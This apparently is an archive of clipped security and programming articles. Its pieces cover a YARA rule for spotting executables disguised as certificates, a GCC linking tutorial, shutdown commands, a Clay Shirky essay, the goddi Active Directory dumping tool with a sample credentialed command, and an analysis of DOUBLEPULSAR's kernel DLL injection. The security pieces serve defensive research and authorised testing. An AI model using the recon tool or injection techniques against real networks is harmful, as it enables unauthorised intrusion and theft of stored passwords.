with certutil, and in this form, many IDS systems and anti-virus applications
will not recognize the PE file. Here is an example of a Windows executable
encoded into a .crt file:

<img src='img/20180716-121448.png' width='740' height='243'
alt='20180716-121448.png' />

Notice that the first letter of the BASE64 data is letter T. This will always
be the case for a PE file encoded with certutil: the first byte of a PE file
is uppercase letter M \(from MZ\). In binary notation, that’s 01001101. BASE64
encodes in chunks of 6 bits, hence 010011 will be the first chunk to be
encoded. In decimal notation, 010011 is 19. In BASE64, 0 is encoded as A, 1 as
B, …, and 19 as T.

<img src='img/20180717-113039.png' width='740' height='640'
alt='20180717-113039' />  
That is why a BASE64 encoded PE file will always start with T.

There are detection rules for this: they trigger if they detect a file
starting with —–BEGIN CERTIFICATE—– and then followed by uppercase letter T.
These kind of detection rules are for so-called “known-bad” detections: it is
known how an executable file looks like when encoded with certutil, hence that
is what detection engines look for.

These rules are very reliable, and we have detected many encoded PE files with
them.

**Detection**

However, at NVISO, we try to do better than “known-bad detection”. That is why
we set out to develop a rule to detect certificate files that do not contain a
certificate. So, not only certificate files that contain a Windows executable,
but any certificate file that does not contain certificate data.

Certificate \(X.509\) data always starts with an ASN.1 sequence element as
defined in RFC 5280. A sequence element has a tag number of 0x30 and hence
it’s DER encoded binary data starts with byte value 0x30.

<img src='img/20180717-105545.png' width='740' height='392'
alt='20180717-105545' />

Just like we explained with PE files, we can determine how byte value 0x30
\(that’s ASCII digit 0\) is represented in BASE64: it starts with the
uppercase letter M.

Conclusion: every X.509 certificate encoded according to RFC 7468 starts with
“—–BEGIN CERTIFICATE—–” followed by letter M.

Inference: every certificate file containing “—–BEGIN CERTIFICATE—–” **not**
followed by letter M can not be a valid X.509 certificate.

We created a simple YARA rule based on this knowledge, and let it run for
several months on VirusTotal Intelligence.

[code]

    rule certificate_payload
    {
        strings:
            $re1 = /-----BEGIN CERTIFICATE-----\r\n[^M]/
    
        condition:
            $re1 at 0
    }
    
[/code]

With this rule, we detected many Windows executables disguised as
certificates, and also a couple more interesting files. There were no false
positives on valid certificates.

One of the more interesting files we detected has MD5 hash value
0082aed588f76b517946a824fba43994.

<img src='img/20180716-010448.png' width='740' height='214'
alt='20180716-010448.png' />  
It has 0 out of 60 detections on VirusTotal. But when we analyze it with
base64dump.py, something stands out:

<img src='img/20180716-010551.png' width='740' height='156'
alt='20180716-010551' />

<img src='img/20180716-010637.png' width='740' height='392'
alt='20180716-010637.png' />

This certificate file contains an encoded PowerShell script: that’s not a good
sign. The analysis of this script requires several steps, that’s why we will
cover this in part 2.

**Conclusion**

By developing and using a “not known-good” detection method instead of using a
“known-bad” detection method, we were not only able to identify “known-bad”
files, but also “unknown-bad” files. Besides YARA rules, we created Suricata
and ClamAV rules too, we will release all rules in an blog post part 3.

About the authors  
Didier Stevens is a malware expert working for NVISO. Didier is a SANS
Internet Storm Center senior handler and Microsoft MVP, and has developed
numerous popular tools to assist with malware analysis. You can find Didier on
Twitter and LinkedIn.

<img src='img/20180306-nvisio-didier-stevens-03.jpg' width='100' height='150'
/>

### Share this:

  * Twitter
  * Reddit
  * WhatsApp
  * Email
  * 

Like

  * <img src='img/d4652ca7522f664ed01336e747ea3a72.png' width='30' height='30' alt='ARJ' />
  * <img src='img/8fadc73f6df8b2112915abe555a153d6.png' width='30' height='30' alt='Hacking Brasil' />

2 bloggers like this.

## Published by Didier Stevens

View all posts by Didier Stevens

  

# Explore GCC Linking Process Using LDD, Readelf, and Objdump

**Created:**| _10/20/2011 11:41:09 AM_  
---|---  
**Updated:**| _10/20/2011 11:41:09 AM_  
**Author:**| __  
**Tags:**| _compiler-building Linux linker_  
  

# xplore GCC Linking Process Using LDD, Readelf, and Objdump

by Himanshu Arora on October 17, 2011

Tweet

<img src='img/Temp2_3026.jpg' width='300' height='193' alt='alt' />Linking is
the final stage of the gcc compilation process.

In the linking process, object files are linked together and all the
references to external symbols are resolved, final addresses are assigned to
function calls, etc.

In this article we will mainly focus on the following aspects of gcc linking
process:

  1. Object files and how are they linked together
  2. Code relocations

  
Before you read this article, make sure you understand all the 4 stages that a
C program has to go through before becoming an executable \(pre-processing,
compilation, assembly and linking\).

### LINKING OBJECT FILES

Lets understand this first step through an example. First create the following
main.c program.

[code]

    $ vi main.c
    #include <stdio.h> 
    
    extern void func(void); 
    
    int main(void)
    {
        printf("\n Inside main()\n");
        func(); 
    
        return 0;
    }
    
[/code]

Next create the following func.c program. In the file main.c we have declared
a function func\(\) through keyword ‘extern’ and have defined this function in
a separate file func.c

[code]

    $ vi func.c
    void func(void)
    {
        printf("\n Inside func()\n");
    }
    
[/code]

Create the object file for func.c as shown below. This will create the file
func.o in the current directory.

[code]

    $ gcc -c func.c
    
[/code]

Similarly create the object file for main.c as shown below. This will create
the file main.o in the current directory.

[code]

    $ gcc -c main.c
[/code]

Now execute the following command to link these two object files to produce a
final executable. This will create the file ‘main’ in the current directory.

[code]

    $ gcc func.o main.o -o main
[/code]

When you execute this ‘main’ program you’ll see the following output.

[code]

    $ ./main
    Inside main()
    Inside func()
[/code]

From the above output, it is clear that we were able to link the two object
files successfully into a final executable.

What did we acheive when we separated function func\(\) from main.c and wrote
it in func.c?

The answer is that here it may not have mattered much if we would have written
the function func\(\) in the same file too but think of very large programs
where we might have thousands of lines of code. A change to one line of code
could result in recompilation of the whole source code which is not
accceptable in most cases. So, very large programs are sometimes divided into
small peices which are finaly linked together to produce the executable.

The make utility which works on makefiles comes into the play in most of these
situations because this utility knows which source files have been changed and
which object files need to be recompiled. The object files whose corresponding
source files have not been altered are linked as it is. This makes the
compilation process very easy and manageable.

So, now we understand that when we link the two object files func.o and
main.o, the gcc linker is able to resolve the function call to func\(\) and
when the final executable main is executed, we see the printf\(\) inside the
function func\(\) being executed.

Where did the linker find the definition of the function printf\(\)? Since
Linker did not give any error that surely means that linker found the
definition of printf\(\). printf\(\) is a function which is declared in
stdio.h and defined as a part of standard ‘C’ shared library \(libc.so\)

We did not link this shared object file to our program. So, how did this work?
Use the ldd tool to find out, which prints the shared libraries required by
each program or shared library specified on the command line.

Execute ldd on the ‘main’ executable, which will display the following output.

[code]

    $ ldd main
    linux-vdso.so.1 =>  (0x00007fff1c1ff000)
    libc.so.6 => /lib/libc.so.6 (0x00007f32fa6ad000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f32faa4f000)
[/code]

The above output indicates that the main executable depends on three
libraries. The second line in the above output is ‘libc.so.6′ \(standard ‘C”
library\). This is how gcc linker is able to resolve the function call to
printf\(\).

The first library is required for making system calls while the third shared
library is the one which loads all the other shared libraries required by the
executable. This library will be present for every executable which depends on
any other shared libraries for its execution.

During linking, the command that is internally used by gcc is very long but
from users prespective, we just have to write.

[code]

    $ gcc <object files> -o <output file name>
[/code]

### CODE RELOCATION

Relocations are entries within a binary that are left to be filled at link
time or run time. A typical relocation entry says: Find the value of ‘z’ and
put that value into the final executable at offset ‘x’

Create the following reloc.c for this example.

[code]

    $ vi reloc.c
    extern void func(void); 
    
    void func1(void)
    {
        func();
    }
[/code]

In the above reloc.c we declared a function func\(\) whose definition is still
not provided, but we are calling that function in func1\(\).

Create an object file reloc.o from reloc.c as shown below.

[code]

    $ gcc -c reloc.c -o reloc.o
[/code]

Use readelf utility to see the relocations in this object file as shown below.

[code]

    $ readelf --relocs reloc.o
    Relocation section '.rela.text' at offset 0x510 contains 1 entries:
    Offset          Info           Type           Sym. Value    Sym. Name + Addend
    000000000005  000900000002 R_X86_64_PC32     0000000000000000 func - 4
    ...
    
[/code]

The address of func\(\) is not known at the time we make reloc.o so the
compiler leaves a relocation of type R\_X86\_64\_PC32. This relocation
indirectly says that “fill the address of the function func\(\) in the final
executable at offset 000000000005”.

The above relocation was corresponding to the .text section in the object file
reloc.o \(again one needs to understand the structure of ELF files to
understand various sections\) so lets disassemble the .text section using
objdump utility:

[code]

    $ objdump --disassemble reloc.o
    reloc.o:     file format elf64-x86-64 
    
    Disassembly of section .text: 
    
    0000000000000000 <func1>:
       0:	55                   	push   %rbp
       1:	48 89 e5             	mov    %rsp,%rbp
       4:	e8 00 00 00 00       	callq  9 <func1+0x9>
       9:	c9                   	leaveq
       a:	c3                   	retq
[/code]

In the above output, the offset ’5′ \(entry with value ’4′ relative to
starting address 0000000000000000\) has 4 bytes waiting to be writen with the
address of function func\(\).

So, there is a relocation pending for the function func\(\) which will get
resolved when we link reloc.o with the object file or library that contains
the defination of function func\(\).

Lets try and see whether this relocation gets reolved or not. Here is another
file main.c that provides defination of func\(\) :

[code]

    $ vi main.c
    #include<stdio.h> 
    
    void func(void) // Provides the defination
    {
        printf("\n Inside func()\n");
    } 
    
    int main(void)
    {
        printf("\n Inside main()\n");
        func1();
        return 0;
    }
[/code]

Create main.o object file from main.c as shown below.

[code]

    $ gcc -c main.c -o main.o
[/code]

Link reloc.o with main.o and try to produce an executable as shown below.

[code]

    $ gcc reloc.o main.o -o reloc
[/code]

Execute objdump again and see whether the relocation has been resolved or not:

[code]

    $ objdump --disassemble reloc > output.txt
[/code]

We redirected the output because an executable contains lots and lots of
information and we do not want to get lost on stdout.  
View the content of the output.txt file.

[code]

    $ vi output.txt
    ...
    0000000000400524 <func1>:
    400524:       55                      push   %rbp
    400525:       48 89 e5                mov    %rsp,%rbp
    400528:       e8 03 00 00 00          callq  400530 <func>
    40052d:       c9                      leaveq
    40052e:       c3                      retq
    40052f:       90                      nop
    ...
[/code]

In the 4th line, we can clearly see that the empty address bytes that we saw
earlier are now filled with the address of function func\(\).

To conclude, gcc compiler linking is such a vast sea to dive in that it cannot
be covered in one article. Still, this article made an attempt to peel off the
first layer of linking process to give you an idea about what happens beneath
the gcc command that promises to link different object files to produce an
executable.

  *[October 17, 2011]: 2011-10-17

# Command Line Kung Fu: Episode \#7 - Aborting a System Shutdown

**Created:**| _5/16/2009 10:34:46 AM_  
---|---  
**Updated:**| _5/16/2009 10:34:51 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#7 - Aborting a System Shutdown

Ed says:  
  
Sometimes, when using a Windows box, Really Bad Things \(TM\) happen, forcing
the system to shut down. For example, if someone exploits the system, and
their exploit accidentally kills lsass.exe or services.exe, Windows is very
unhappy. It pops up a dialog box expressing its discontent, telling you that
it will reboot in 60 seconds.  
  
But, suppose you don't want it to reboot that quickly? Maybe you need just a
little more time to save a file, close something out, launch your retaliatory
missiles, or whatever. Most of the time, you can abort a shutdown by running:  

[code]

    C:\> **shutdown /a**
    
[/code]

  
Of course, without an lsass.exe or services.exe process, the box is pretty
well hosed. But, this command can give you a little bit of extra time in event
of dire emergencies, limping along with a machine that is only partly dead.
You can then make the box reboot on your own time frame with the following
command:  

[code]

    C:\> **shutdown /r /t [N_seconds]**
    
[/code]

  
If you omit the /t, it'll reboot in 30 seconds. Use /t 0 to make it reboot
now.  
  
Hal Comments:  
  
I've always hated the Unix shutdown command. I find the "write all" behavior
more annoying than useful. I normally use "reboot", "halt", or "init 0" \(stop
and power down\). That being said:  

[code]

    # **shutdown -c**           # cancels scheduled shutdown  
    # **shutdown -r +1**        # shut down and reboot in 1 minute  
    # **shutdown -r 14:30**     # shut down and reboot at 2:30pm
    
[/code]

  
Interestingly, you can't schedule shutdowns with finer than one-minute
granularity, though I suppose you could do something like:  

[code]

    # **sleep 30; shutdown -r now**
    
[/code]

  
  
Paul Comments:  
  
Interesting to note that the OS X shutdown command does not have the "-c"
option allowing you to halt the shutdown.

# The Collapse of Complex Business Models « Clay Shirky

**Created:**| _4/3/2010 7:22:03 AM_  
---|---  
**Updated:**| _4/3/2010 7:22:11 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

## The Collapse of Complex Business Models

I gave a talk last year to a group of TV executives gathered for an annual
conference. From the Q&A after, it was clear that for them, the question
wasn’t whether the internet was going to alter their business, but about the
mode and tempo of that alteration. Against that background, though, they were
worried about a much more practical matter: When, they asked, would online
video generate enough money to cover their current costs?

That kind of question comes up a lot. It’s a tough one to answer, not just
because the answer is unlikely to make anybody happy, but because the premise
is more important than the question itself.

There are two essential bits of background here. The first is that most TV is
made by for-profit companies, and there are two ways to generate a profit:
raise revenues above expenses, or cut expenses below revenues. The other is
that, for many media business, that second option is unreachable.

Here’s why.

\* \* \*

In 1988, Joseph Tainter wrote a chilling book called  _The Collapse of Complex
Societies_. Tainter looked at several societies that gradually arrived at a
level of remarkable sophistication then suddenly collapsed: the Romans, the
Lowlands Maya, the inhabitants of Chaco canyon. Every one of those groups had
rich traditions, complex social structures, advanced technology, but despite
their sophistication, they collapsed, impoverishing and scattering their
citizens and leaving little but future archeological sites as evidence of
previous greatness. Tainter asked himself whether there was some explanation
common to these sudden dissolutions.

The answer he arrived at was that they hadn’t collapsed despite their cultural
sophistication, they’d collapsed because of it. Subject to violent
compression, Tainter’s story goes like this: a group of people, through a
combination of social organization and environmental luck, finds itself with a
surplus of resources. Managing this surplus makes society more
complex—agriculture rewards mathematical skill, granaries require new forms of
construction, and so on.

Early on, the marginal value of this complexity is positive—each additional
bit of complexity more than pays for itself in improved output—but over time,
the law of diminishing returns reduces the marginal value, until it disappears
completely. At this point, any additional complexity is pure cost.

Tainter’s thesis is that when society’s elite members add one layer of
bureaucracy or demand one tribute too many, they end up extracting all the
value from their environment it is possible to extract and then some.

The ‘and them some’ is what causes the trouble. Complex societies collapse
because, when some stress comes, those societies have become too inflexible to
respond. In retrospect, this can seem mystifying. Why didn’t these societies
just re-tool in less complex ways? The answer Tainter gives is the simplest
one: When societies fail to respond to reduced circumstances through orderly
downsizing, it isn’t because they don’t want to, it’s because they can’t.

In such systems, there is no way to make things a little bit simpler – the
whole edifice becomes a huge, interlocking system not readily amenable to
change. Tainter doesn’t regard the sudden decoherence of these societies as
either a tragedy or a mistake—”\[U\]nder a situation of declining marginal
returns collapse may be the most appropriate response”, to use his pitiless
phrase. Furthermore, even when moderate adjustments could be made, they tend
to be resisted, because any simplification discomfits elites.

When the value of complexity turns negative, a society plagued by an inability
to react remains as complex as ever, right up to the moment where it becomes
suddenly and dramatically simpler, which is to say right up to the moment of
collapse. Collapse is simply the last remaining method of simplification.

\* \* \*

Dr. Amy Smith is a professor in the Department of Mechanical Engineering at
MIT, where she runs the Development Lab, or D-Lab, a lab organized around
simple and cheap engineering solutions for the developing world.

Among the rules of thumb she offers for building in that environment is this:
“If you want something to be 10 times cheaper, take out 90% of the materials.”
Making media is like that now except, for “materials”, substitute “labor.”

\* \* \*

In the mid-90s, I got a call from some friends at ATT, asking me to help them
research the nascent web-hosting business. They thought ATT’s famous “five
9’s” reliability \(services that work 99.999% of the time\) would be valuable,
but they couldn’t figure out how anyone could offer good web hosting for $20 a
month, then the going rate. No matter how many eventual users they assumed,
$20 didn’t even seem to cover the monthly costs, much less leave a profit.

I started describing the web hosting I’d used, including the process of
developing web sites locally, uploading them to the server, and then checking
to see if anything had broken.

“But if you don’t have a staging server, you’d be changing things on the live
site\!” They explained this to me in the tone you’d use to explain to a small
child why you don’t want to drink bleach. “Oh yeah, it was horrible”, I said.
“Sometimes the servers would crash, and we’d just have to re-boot and start
from scratch.” There was a long silence on the other end, the silence peculiar
to conference calls when an entire group stops to think.

The ATT guys, part of a company so committed to the sacred dial tone it  _ran
its own power grid_ , had correctly understood that the income from
$20-a-month customers wouldn’t pay for good web hosting. What they hadn’t
understood, were in fact professionally incapable of understanding, was that
the industry solution, circa 1996, was to offer hosting that wasn’t very good.

This, for the ATT guys, wasn’t depressing so much as confusing. We finished up
the call, and it was polite enough, but it was perfectly clear that there
wasn’t going to be a consulting gig out of it, because it wasn’t a market they
could get into, not because they didn’t want to, but because they couldn’t.

It would be easy to regard this as short-sighted on their part, but that
ignores the realities of culture. For a century, ATT’s culture had
prized—insisted on—quality of service. Their HR Department worked to identify
potential employees who would be willing to cut corners, but the point of
identifying those people was to avoid hiring them. The idea of getting into a
business where those would be the ideal employees was heresy. ATT, like most
organizations, could not be good at the thing it was good at and good at the
opposite thing at the same time. The web hosting business, because it followed
the “Simplicity first, quality later” model, didn’t just present a new market,
it required new cultural imperatives.

\* \* \*

About 15 years ago, the supply part of media’s supply-and-demand curve went
parabolic, with a predictably inverse effect on price. Since then, a battalion
of media elites have lined up to declare that exactly the opposite thing will
start happening any day now.

To pick a couple of examples more or less at random, last year Barry Diller of
IAC said, of content available on the web, “It is not free, and is not going
to be,” Steve Brill of Journalism Online said that users “just need to get
back into the habit of doing so \[paying for content\] online”, and Rupert
Murdoch of News Corp said “Web users will have to pay for what they watch and
use.”

Diller, Brill, and Murdoch seem be stating a simple fact—we will have to pay
them—but this fact is not in fact a fact. Instead, it is a choice, one its
proponents often decline to spell out in full, because, spelled out in full,
it would read something like this:

“Web users will have to pay for what they watch and use, or else we will have
to stop making content in the costly and complex way we have grown accustomed
to making it. And we don’t know how to do that.”

\* \* \*

One of the interesting questions about Tainter’s thesis is whether markets and
democracy, the core mechanisms of the modern world, will let us avoid
complexity-driven collapse, by keeping any one group of elites from seizing
unbroken control. This is, as Tainter notes in his book, an open question.
There is, however, one element of complex society into which neither markets
nor democracy reach—bureaucracy.

Bureaucracies temporarily reverse the Second Law of Thermodynamics. In a
bureaucracy, it’s easier to make a process more complex than to make it
simpler, and easier to create a new burden than kill an old one.

In spring of 2007, the web video comedy  _In the Motherhood_ made the move to
TV._In the Motherhood_ started online as a series of short videos, with
viewers contributing funny stories from their own lives and voting on their
favorites. This tactic generated good ideas at low cost as well as endearing
the show to its viewers; the show’s tag line was “By Moms, For Moms, About
Moms.”

The move to TV was an affirmation of this technique; when ABC launched the
public forum for the new TV version, they told users their input “might just
become inspiration for a story by the writers.”

Or it might not. Once the show moved to television, the Writers Guild of
America got involved. They were OK with For and About Moms, but By Moms
violated Guild rules. The producers tried to negotiate, to no avail, so the
idea of audience engagement was canned \(as was  _In the Motherhood_ itself
some months later, after failing to engage viewers as the web version had\).

The critical fact about this negotiation wasn’t about the mothers, or their
stories, or how those stories might be used. The critical fact was that the
negotiation took place in the grid of the television industry, between
entities incorporated around a 20th century business logic, and entirely
within invented constraints. At no point did the negotiation about audience
involvement hinge on the question “Would this be an interesting thing to try?”

\* \* \*

Here is the answer to that question from the TV executives.

In the future, at least some methods of producing video for the web will
become as complex, with as many details to attend to, as television has today,
and people will doubtless make pots of money on those forms of production.
It’s tempting, at least for the people benefitting from the old complexity, to
imagine that if things used to be complex, and they’re going to be complex,
then everything can just stay complex in the meantime. That’s not how it
works, however.

The most watched minute of video made in the last five years shows baby
Charlie biting his brother’s finger. \(Twice\!\) That minute has been watched
by more people than the viewership of American Idol, Dancing With The Stars,
and the Superbowl _combined_. \(174 million views and counting.\)

Some video still has to be complex to be valuable, but the logic of the old
media ecoystem, where video had to be complex simply to be video, is broken.
Expensive bits of video made in complex ways now compete with cheap bits made
in simple ways. “Charlie Bit My Finger” was made by amateurs, in one take,
with a lousy camera. No professionals were involved in selecting or editing or
distributing it. Not one dime changed hands anywhere between creator, host,
and viewers. A world where that is the kind of thing that just happens from
time to time is a world where complexity is neither an absolute requirement
nor an automatic advantage.

When ecosystems change and inflexible institutions collapse, their members
disperse, abandoning old beliefs, trying new things, making their living in
different ways than they used to. It’s easy to see the ways in which collapse
to simplicity wrecks the glories of old. But there is one compensating
advantage for the people who escape the old system: when the ecosystem stops
rewarding complexity, it is the people who figure out how to work simply in
the present, rather than the people who mastered the complexities of the past,
who get to say what happens in the future.

# bcs\_wp\_InceptionReport\_EN\_v12914.pdf

**Created:**| _12/10/2014 10:06:36 AM_  
---|---  
**Updated:**| _12/10/2014 10:06:36 AM_  
**Author:**| __  
**Tags:**| _attacks papers_  
  
<img src='img/bcs_wp_InceptionReport_EN_v12914.pdf' />

# Dumping Active Directory Domain Info - in Go\!

**Created:**| _4/18/2018 4:58:08 PM_  
---|---  
**Updated:**| _4/18/2018 4:58:08 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Dumping Active Directory Domain Info – in Go\!

Thomas Elling

April 17th, 2018

I’ve used NetSPI PowerShell tools and the PowerView toolset to dump
information from Active Directory during almost every internal penetration
test I’ve done. These tools are a great starting point for gaining insight
into an Active Directory environment. Go seems to be gaining popularity for
its performance and scalability, so I tried to replicate some of the
functionality in my favorite PowerShell tools. **goddi** \(go dump domain
info\) dumps domain users, groups, domain controllers, and more in CSV output.
And it runs on Windows and Linux\!

Before going any further, I want to thank Scott Sutherland \(@**\_nullbind**\)
for his help and mentorship. This work is based off of internal tools he
created and none of it would be possible without him\! This tool is also based
on work from Antti Rantasaari, Eric Gruber \(@egru\), Will Schroeder
\(@harmj0y\), and the PowerView authors.

## So Why Go?

Go is fast and supports cross platform compilation. During testing, goddi
managed to cut execution time down to a matter of seconds when compared to its
PowerShell counterparts. Go binaries can also be built for Windows, Linux, and
MacOS all on the same system. The full list of OS and architecture
combinations are listed in the go GitHub repo. At the time of this blog’s
release, goddi has been tested on Windows \(10 and 8.1\) and Kali Linux.

That isn’t to say that there aren’t any drawbacks with a Go implementation.
The Microsoft ADSI API is much more flexible to work with, especially when
creating LDAP queries to run under the current user’s security context. goddi
requires domain credentials to be explicitly provided on the command line.
This can be especially annoying in scenarios where a user’s credentials may
not be known. If you get access to a box with local Administrator, but don’t
have domain credentials yet, you can run PSExec to get local system. With
local system, you can check if you have domain user privileges and then run
PowerShell in this current context without domain credentials. This
functionality is on the roadmap for future development.

## Features

Check out the GitHub repo for an up to date list of features. goddi dumps…

  * Domain users
  * Users in privileged user groups \(DA, EA, FA\)
  * Users with passwords not set to expire
  * User accounts that have been locked or disabled
  * Machine accounts with passwords older than 45 days
  * Domain Computers
  * Domain Controllers
  * Sites and Subnets
  * SPNs
  * Trusted domain relationships
  * Domain Groups
  * Domain OUs
  * Domain Account Policy
  * Domain deligation users
  * Domain GPOs
  * Domain FSMO roles
  * LAPS passwords
  * GPP passwords

Run goddi with the example command below. The CSV output is dumped in the
“csv” folder in the current working directory.

`goddi-windows-amd64.exe -username=juser -password="Fall2017!"
-domain="demo.local" -dc="10.2.9.220" -unsafe`

<img src='img/goddi.gif' width='878' height='476' />

<img src='img/Temp2_2463.gif' width='878' height='407' />

## Roadmap

In the future, I would love to see if I can get this tool to operate closer to
the ADSI model. Being able to run the tool in the user’s current context would
be preferable from a testing standpoint. I would also like to improve how GPP
passwords are gathered. Network shares to the target DC are mapped and mounted
with the `net use` and `mount` commands. While GPP cpassword searching works
with these commands, I have not gotten the chance to add robust error handling
for corner cases when dealing with underlying OS errors.

## GitHub Repo

Check out the goddi GitHub repo for install and usage instructions. I’ll be
updating the features list and roadmap there. Comments and commits are
welcome\! I’m not a Go expert, so I would appreciate any constructive
feedback.

  

# Analyzing the DOUBLEPULSAR Kernel DLL Injection Technique | Countercept
**Created:**| _5/10/2017 9:40:47 AM_  
---|---  
**Updated:**| _5/10/2017 9:40:47 AM_  
**Author:**| __  
**Tags:**| __  
  

  

# Analyzing the DOUBLEPULSAR Kernel DLL Injection Technique

<img src='img/Temp2_723.jpg' width='576' height='384' alt='shutterstock
452349830' />

Like many in the security industry, we have been busy the last few days
investigating the implications of the Shadow Brokers leak with regard to
attack detection. Whilst there is a lot of interesting content, one particular
component that attracted our attention initially was the DOUBLEPULSAR payload.
This is because it seems to be a very stealthy kernel-mode payload that is the
default payload for many exploits. Additionally, it can then be used to inject
arbitrary DLLs into user land processes. We have also identified a potentially
useful memory signature to detect whether this technique has been used on
hosts that have not been rebooted since.

We were particularly interested in understanding if any of the code-injection
focused memory analysis capabilities we use in our EDR software would detect
this technique, to understand any potential implications in protecting our
clients. Many people in the industry were testing injecting Meterpreter DLLs
and other public frameworks, which we had also done and confirmed we could
detect the injected DLLs and threads as normal. However, implants like
Meterpreter are quite noisy in memory and we were unsure whether we were only
detecting the specific use of standard public reflective loading techniques
that Meterpreter makes use of, or if we were detecting the generic
DOUBLEPULSAR injection technique itself.

Firstly, we investigated whether it was capable of injecting any conventional
DLL through whatever mechanism it was using, as opposed to the in-memory
reflective loading techniques favored by many public exploit frameworks that
often require specially crafted DLLs. We tried injecting a standard windows
DLL \(wininet.dll in this case\) into a target calc.exe process while
monitoring with Sysinternals Process Monitor and analyzing the memory space of
the target process with WinDBG before and after, as well as using our own EDR
software.

<img src='img/Temp2_720.jpg' width='576' height='223' alt='SB1' />

As we can see, wininet.dll has loaded correctly because it has gone on to load
other dependent DLLs that it imports, such as normaliz.dll, urlmon.dll etc.
However, there is no observable activity before that and no standard load of
wininet.dll itself, meaning it must have been loaded using an in-memory
technique. Additionally, we were pleased to see two reflectively loaded DLL
findings reported by our EDR software, confirming an in-memory technique for
the DLL injection. By diffing the address space from WinDBG both pre and post
DLL injection we quickly identified some interesting regions that corresponded
with the suspicious reported regions from our reflective load findings.

<img src='img/Temp2_716.jpg' width='576' height='268' alt='SB2' />

The first region was interesting because it appeared like a properly loaded
DLL with all the sections loaded individually, only it was not file mapping
backed like a standard DLL and had clearly been loaded with a custom loader
rather than the standard Windows loader. Analyzing these sections showed they
corresponded to wininet.dll content as expected.

<img src='img/Temp2_724.jpg' width='576' height='174' alt='SB3' />

The second interesting area was another example of DLL content in a single
memory region that corresponded to the full raw content of wininet.dll in its
entirety. Curiously, there was a region just before this that was also
allocated PAGE\_EXECUTE\_READWRITE and was a single page larger in size but
that was almost entirely zeros, except for a small 23-byte region of memory
\(we will come back to this later\).

<img src='img/Temp2_725.jpg' width='576' height='147' alt='SB4' />

While we were pleased that we had visibility of this with our EDR software,
this was clearly a very advanced technique compared with the standard public
methods we have seen used by various exploit frameworks and malware families
in the wild before and we really wanted to know more about how it worked so we
set about investigating further.

Separately to this, we had also been working on decrypting the C2 traffic to
DOUBLEPULSAR as it uses a simple 4-byte XOR cipher and we had recently
publicly released a python script to do this
\(https://github.com/countercept/doublepulsar-c2-traffic-decryptor\). We used
this to dump the full payload sent to the target server when using the DLL
injection functionality within DOUBLEPULSAR. Upon analysis of this, we had
found there were seemingly 4885 bytes of kernel code followed by a byte-for-
byte copy of wininet.dll. We assumed that this must be some mechanism for
performing a stealthy in-memory load of any DLL from kernel space directly
into a target user land process and so we set about reversing the payload.
Going through the full detail of every part of the payload would make this too
long a blog post but we will cover the key components required to understand
the operation here.

<img src='img/Temp2_727.jpg' width='576' height='196' alt='SB5' />

After some standard function prologue behavior, the payload calls the
following function, which essentially walks backwards in memory until it finds
an MZ header \(0x5a4d\). This is used to locate ntoskrnl.exe in kernel memory.
It then uses this as a reference point to begin dynamically locating kernel
functions that it would like to call. In order to do this, it uses the
following function:

<img src='img/Temp2_718.jpg' width='576' height='712' alt='SB6' />

This function takes in a 4-byte “hash” that is used to locate the function it
is interested in. This is very similar to other shellcode techniques that use
4-byte hashes instead of hardcoded function name strings to locate functions
dynamically. The hashing procedure in this case is implemented as follows:

<img src='img/Temp2_722.jpg' width='576' height='395' alt='SB7' />

We implemented this hashing algorithm in python, generated a lookup table of
hashes based on all the kernel functions available and used this to document
exactly what functions the kernel payload was resolving for the later stages
of its functionality. This lookup process with comments for the function names
it is resolving can be seen in the following code:

<img src='img/Temp2_726.jpg' width='576' height='607' alt='SB8' />

It goes on to resolve a few more functions but ultimately at this point we
were making the assumption that it would be enumerating processes to find the
target process name for injection and then using a combination of
ZwAllocateVirtualMemory\(\) and KeInsertQueueApc\(\) to inject the user land
DLL into the target process and execute code via an asynchronous procedure
call.

<img src='img/Temp2_721.jpg' width='576' height='238' alt='SB9' />

We will skip over some of the less interesting details here but essentially it
performs the following using the functions it has located in the kernel:

  * Enumerate the running process
  * Check the process name matches the desired target
  * Attach to the process to extract the command line arguments, and check these also match the desired target
  * Allocate memory in the target process with PAGE\_EXECUTE\_READWRITE \(0x40\) protection
  * Write 0x12458a bytes of memory into this region from a later part of the kernel payload starting “SUWVATUAA”

Tracking this location later in the payload reveals another section of
shellcode which eventually follows into the actual raw DLL contents. Now
consider we did not see this in the user space memory regions with WinDBG
earlier, we only saw the raw DLL contents and the section loaded DLL contents.
We will come back to this point later.

<img src='img/Temp2_719.jpg' width='576' height='202' alt='SB10' />

Later, we see the APC calls that schedule a thread in the target process to
execute the code region that was injected. This is very close to the end of
the kernel payload. The injected memory appeared to begin with code and the
DLL contents came later, not what we saw in the WinDBG memory space contents,
this suggested that a second stage user land payload was injected along with
the DLL, and control was transferred via APC in order for that to then
actually load the DLL properly within the target process.

Interestingly, we then see the kernel payload actually wipe out its contents:

<img src='img/Temp2_717.jpg' width='576' height='312' alt='SB11' />

The kernel payload here wipes all code before this section and all code,
including DLL contents, afterwards. However, it cannot wipe this one small
code region as well and so leaves a large section of zeros with this small
piece of code in the middle. It turns out that this code is very similar to
the small code section we saw remaining in the mostly blank region of memory
inside the calc.exe process earlier. Consequently, we felt it was likely that
the apparent user land stage payload will be both responsible for properly
loading the DLL in-memory and then also wiping itself.

In order to investigate this further, we then attached a debugger to calc.exe
prior to the DLL injection payload being sent via DOUBLEPULSAR, pausing
execution of the process and then analyzing the address space afterwards. This
allowed us to see the process memory after the kernel payload had executed,
but before the user land stage had executed to load the DLL and wipe memory;
this would allow us to confirm our assumptions so far.

<img src='img/Temp2_728.jpg' width='576' height='144' alt='SB12' />

Here we can see exactly what we were expecting. The debugger has paused
execution of calc.exe and as a result we do not see the section loaded DLL we
saw before and we do not see the size 0x124000 region containing wininet.dll.
However, the previously mostly blank memory region of size 0x125000 now
contains the start of the code we saw injected via the kernel payload and
later the full contents of wininet.dll. Allowing execution to resume then sees
a new region of memory allocated to contain wininet.dll and then a proper
section loaded version later in memory, followed by the vast majority of the
original injected user land payload stage wiping itself, leaving only the
small code snippet responsible for performing the wiping.

That leaves an interesting case for a memory signature as it is quite a
specific sequence of bytes, preceded by all zeros and always occurs at the
same offset even with different sized DLLs. This might prove a useful memory
analysis indicator that could be used for finding evidence of previous
compromise by DOUBLEPULSAR both in target user processes and within the kernel
